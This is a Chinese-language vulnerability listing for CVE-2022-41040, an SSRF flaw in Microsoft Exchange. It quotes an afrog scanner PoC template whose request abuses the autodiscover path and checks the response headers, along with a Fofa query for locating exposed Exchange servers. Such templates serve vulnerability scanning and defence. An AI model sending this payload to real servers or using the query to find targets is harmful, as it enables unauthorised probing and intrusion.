CVE-2022-41040: Microsoft Exchange SSRF

日期: 2025-09-01 | 影响软件: Microsoft Exchange | POC: 已公开

漏洞描述

r0 是 nmap 脚本 r1 是 github 未经验证得 PoC Fofa: app="Microsoft-Exchange"

PoC代码[已公开]

id: CVE-2022-41040

info:
  name: Microsoft Exchange SSRF
  author: zan8in
  severity: high
  description: |
    r0 是 nmap 脚本  r1 是 github 未经验证得 PoC
    Fofa: app="Microsoft-Exchange"
  reference:
    - https://github.com/numanturle/CVE-2022-41040
    - https://blog.csdn.net/dnoir/article/details/127151209

rules:
  r0:
    request:
      method: GET
      path: /autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL
    expression: response.body.bcontains(b'IIS Web Core') && response.raw_header.bcontains(b'X-BackEndCookie')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2022-41040.yaml

相关漏洞推荐